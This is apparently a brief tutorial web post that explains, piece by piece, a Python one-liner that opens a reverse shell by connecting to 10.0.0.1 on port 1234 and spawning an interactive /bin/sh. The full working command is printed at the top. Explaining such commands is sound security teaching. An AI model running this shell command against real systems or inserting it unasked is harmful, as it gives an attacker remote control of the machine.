Python Reverse Shell Breakdown

Python Reverse Shell Explained

Python Reverse Shell Breakdown

 

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • python -c: Executes the following Python code provided as a command-line argument.

 

  • ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);…: This part of the code imports necessary modules and sets up a socket connection.

 

    • s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);: Creates a socket using the AF_INET family and SOCK_STREAM socket type.

 

    • s.connect((“10.0.0.1”,1234));: Connects to the specified IP address (10.0.0.1) and port (1234).

 

    • os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);: Duplicates the socket file descriptor to standard input, output, and error, establishing a connection.

 

    • p=subprocess.call([“/bin/sh”,”-i”]);: Calls /bin/sh -i as a subprocess, creating an interactive shell.

 

When this Python one-liner is executed on the target system (Python 2), it attempts to connect back to the specified IP address and port, creating a reverse shell. If successful, it opens an interactive shell, allowing you to execute commands remotely.

 

As with any remote access tool, use such commands responsibly and only with proper authorization, as they can be misused for unauthorized access. Always ensure compliance with ethical and legal standards.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top